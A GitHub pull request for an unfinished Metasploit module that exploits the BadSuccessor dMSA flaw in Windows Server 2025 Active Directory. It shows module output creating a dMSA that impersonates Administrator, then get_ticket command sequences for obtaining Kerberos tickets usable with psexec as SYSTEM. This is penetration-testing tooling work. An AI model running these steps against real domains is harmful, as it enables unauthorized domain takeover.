Skip to content

Conversation

jheysel-r7
Copy link
Contributor

@jheysel-r7 jheysel-r7 commented Aug 15, 2025

Posting for visibility. Still very much a work in progress. Will be back in September to complete.

This adds a new module bad_successor which allows metasploit users to create a dMSA account active directory. After the account is created two attributes on the dMSA are updated: msds-managedaccountprecededbylink is set to the DN of the account you wish to impersonate and msds-delegatedmsastate is set to 2 which indicates the dMSA account migration is complete. It is necessary to first create the account and then afterwards update the attributes.

This also makes some changes to the get_ticket module and then subsequent libraries it calls in order to facilitate impersonating the dMSA account while dumping the DMSA_KEY_PACKAGE during the authentication process.

##TODOs

  • Refactor such that regular use of get_ticket / tgs_request is unaffected by this update (clean up the mess I made during testing)
  • Ensure that no matter the object inheritance settings in AD you're able to update the attributes of the dMSA account
    • In my test environment when msfuser created a new dMSA msfuser was granted Full Control of the object. This won't always be the case. In some scenarios msfuser will only be granted Owner and in turn WriteDacl in which case we need to update the security descriptor to allow msfuser to edit msds-managedaccountprecededbylink and msds-delegatedmsastate
  • Documentation

Testing

Check Method

msf auxiliary(admin/ldap/bad_successor) > check
[*] Discovering base DN automatically
[+] The domain is running at the Windows 2025 functional level, which is vulnerable to BadSuccessor.
[+] Found 1 OUs we can write to, listing below:
[+]  - OU=BadBois,DC=msf,DC=local
[+] 172.16.199.202:389 - The target is vulnerable.

dMSA Account Creation

msf auxiliary(admin/ldap/bad_successor) > options

Module options (auxiliary/admin/ldap/bad_successor):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ACCOUNT_TO_IMPERSONATE  Administrator    yes       The name of the dMSA account to be created
   DC_FQDM                 dc4.msf.local    yes       The fqdn of the domain controller, to be used in determining if the DC is vulnerable
   DMSA_ACCOUNT_NAME        attacker_dMSA   yes       The name of the dMSA account to be created
   SSL                     false            no        Enable SSL on the LDAP connection


   Used when connecting via an existing SESSION:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   no        The session to run this module on


   Used when making a new connection via RHOSTS:

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   LDAPDomain    msf.local        no        The domain to authenticate to
   LDAPPassword  N0tpassword!     no        The password to authenticate with
   LDAPUsername  msfuser          no        The username to authenticate with
   RHOSTS        172.16.199.202   no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT         389              no        The target port


View the full module info with the info, or info -d command.

msf auxiliary(admin/ldap/bad_successor) > run
[*] Running module against 172.16.199.202
[*] Discovering base DN automatically
[+] Found 1 OUs we can write to, listing them below:
[+]  - OU=BadBois,DC=msf,DC=local
[+] Found 1 OUs we can write to
[*] Attempting to create dmsa account cn: attacker_dMSA, dn: CN=attacker_dMSA,OU=BadBois,DC=msf,DC=local
[+] Created dmsa msfuser
[*] Setting attributes for dMSA object: CN=attacker_dMSA,OU=BadBois,DC=msf,DC=local
[+] Successfully updated attributes for dMSA object: CN=attacker_dMSA,OU=BadBois,DC=msf,DC=local
[*] msds-delegatedmsastate => ["2"]
[*] msds-managedaccountprecededbylink => ["CN=Administrator,CN=Users,DC=msf,DC=local"]
[*] Auxiliary module execution completed

Getting a TGS for the account the dMSA "precedes by link" (TODO)

This was working but the day I decided to draft the PR my domain controller decided to stop cooperating. Setting the following datastore options in the get_ticket should work.
First load up get_ticket and obtain a TGT for the user that created the dMSA:

set DMSA false
set domain msf.local
set password N0tpassword!
set rhosts 172.16.199.202
set username msfuser
set SPN krbtgt/msf.local
set action get_tgt
unset krb5ccname 
unset impersonate
run

Then using that TGT obtain TGS for the dMSA account

set DMSA true
set domain msf.local
set password N0tpassword!
set rhosts 172.16.199.202
set username msfuser
set SPN krbtgt/msf.local
set action get_tgs 
set impersonate attacker_dMSA$
set krb5ccname /Users/jheysel/.msf4/loot/20250815122045_default_172.16.199.202_mit.kerberos.cca_935259.bin

Then get a TGS which can be used to authenticate via psexec as NT AUTHORITY\SYSTEM.

unset password
unset impersonate
set SPN cifs/DC4.msf.local
set username attacker_dmsa$
set DMSA false
set krb5ccname /Users/jheysel/.msf4/loot/20250801154853_default_172.16.199.202_mit.kerberos.cca_901047.bin

Copy link

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant